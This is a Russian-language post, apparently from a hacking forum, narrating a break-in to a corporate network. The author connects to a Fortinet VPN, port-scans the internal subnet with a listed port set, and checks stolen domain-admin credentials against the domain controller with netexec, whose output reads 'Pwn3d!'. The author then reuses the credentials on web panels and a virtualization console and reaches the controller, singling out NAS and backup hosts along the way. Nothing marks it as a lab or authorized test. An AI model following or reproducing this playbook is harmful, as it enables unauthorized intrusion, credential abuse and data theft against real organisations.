Еbashим маленькую сеточку =)

Автор: ArmCorp
Специально для нашего форума

Подключаемся к впну
sudo openconnect --protocol=fortinet https://ip:8443

Got IPv4 DNS server 192.168.120.4
Got Legacy IP address 10.211.134.1
Got IPv4 route 192.168.120.0/255.255.255.0


Наша сеть 192.168.120.0/24

Не удалось прогрузить медиа

Видим примерное количество хостов в домене 7. Есть также хосты которые говорят сами за себя nas, бэкапы, количество ТБ данных и т.д.

Далее просканируем на распространенные порты сетку.

22,53,80,88,389,443,445,3389,5900,5910,9401,2179,9191,9192,1433,1434,1695,3311,9392,9393,5000,5001,13782,13783,1500,10000,8080,8443,53810,9443,5989,8889,902,427,8500,9091,3033,9092,8211,636,135

Не удалось прогрузить медиа

Тут есть rdp, разные торчащие веб морды, принтеры и т.д. У меня есть учетка, я проверю ее в первую очередь на доступ к DC.

[+] tcp://192.168.120.4:88              kerberos:guess   [open] - это домейн контроллер
netexec smb 192.168.120.4 -u mitadmin -p 'pass'
SMB         192.168.120.4   445    JPA-DC1          [*] Windows 8.1 / Server 2012 R2 Build 9600 x64 (name:JPA-DC1) (domain:ad-jpa.local) (signing:True) (SMBv1:True)
SMB         192.168.120.4   445    JPA-DC1          [+] ad-jpa.local\mitadmin:pass (Pwn3d!)

Теперь креды от домейн админа пробуем вести во все веб морды

Не удалось прогрузить медиа

Мы попадаем в систему виртуализации. Видим сколько потребляется ресурсов, какие тачки нам доступны, сколько ГБ свободны и т.д. Пробуем проникнуть на каждую.

Не удалось прогрузить медиа

Первое что я сделал  - это разблокирован экран с помощью ctrl-Alt-Delete и некоторое время не мог понять почему не могу ввести символ $ в пароле. Пока через спец. возможности не врубил экранную клавиатуру и понял, что у меня уебанская раскладка))) Пришлось через экранную клаву вбивать каждый символ и искать shift и другие кнопки. После долгих мучений удалось попасть на домейн контроллер.

Не удалось прогрузить медиа